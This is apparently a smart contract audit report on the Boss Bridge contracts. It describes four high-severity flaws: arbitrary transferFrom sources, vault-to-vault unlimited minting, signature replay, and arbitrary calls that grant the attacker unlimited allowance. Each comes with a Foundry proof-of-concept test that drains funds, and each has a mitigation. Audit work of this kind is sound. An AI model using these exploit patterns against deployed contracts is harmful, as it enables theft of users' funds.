Boss Bridge Audit Report

Prepared by Pluton

Version 1.0

Lead Auditor

Herman Effendi

August 18, 2024

Table of Contents

Introduction

The Pluton team strives to identify as many vulnerabilities as possible within the allotted time but accepts no responsibility for the results detailed in this document. Their security audit should not be considered an endorsement of the business or product. The audit was limited in scope and focused exclusively on the security aspects of the Solidity code for the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
src
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	0
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Arbitrary `from` passed to `transferFrom` (or `safeTransferFrom`)

Description

In `L1BossBridge::depositTokensToL2` function, a transaction passing an arbitrary `from` address to `transferFrom` (or `safeTransferFrom`) can lead to a loss of funds, because anyone can transfer tokens from the `from` address if an approval is made.

Impact

If an approval is made, the protocol can lose of funds.

Proof of Concepts

Scenario : - A user creates an approval for the bridge. - An attacker check the amount of user, then takes it as a parameter for the deposit - The attacker deposits to bridge by passing amount of the user as a parameter - The balance of the user will be lost due to this attack

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assert(token.balanceOf(user) == 0);
        assert(token.balanceOf(address(vault)) == depositAmount);
        vm.stopPrank();
    }
```

Recommended mitigation

When passing parameters in the deposit, use `msg.sender` instead of the address `from` to avoid stealing.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Lack of transfer vault to vault makes unlimited minting on L2

Description

Also in `L1BossBridge::depositTokensToL2` function, a transaction passing an arbitrary `from` address to `transferFrom` can occur. If we use address `vault` as parameter the `from`, we will see transaction from `vault` to `vault`. Although this transaction doesn't affect the balance, it causes unlimited minting on L2.

Impact

Unlimited minting in L2.

Proof of Concepts

Scenario : - Let a vault have a balance - An attacker deposits to the birdge with the paramater `from` being the address of `vault` - Repeat the process continuously

```
    function testCanTransferVaultToVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;

        deal(address(token), address(vault), vaultBalance);

        console2.log("vault balance before ", token.balanceOf(address(
            vault)));

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
        vm.stopPrank();


        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
        vm.stopPrank();
    }
```

Recommended mitigation

When passing parameters in the deposit, use `msg.sender` instead of the address `from` to avoid unlimited minting on L2.

[H-3] Signature replay found

Description

Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concepts

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
        attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
            attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
            , v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
        + vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended mitigation

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description

The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concepts

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        uint256 initialBalanceVault = 1000 ether;
        deal(address(token), address(vault), initialBalanceVault);

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(msg.sender, address(0), 0);
        tokenBridge.depositTokensToL2(msg.sender, address(0), 0);

        bytes memory message = abi.encode(
            address(vault), //target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max))
        );

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(
            uint256).max);
        vm.stopPrank();
    }
```

Recommended mitigation

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.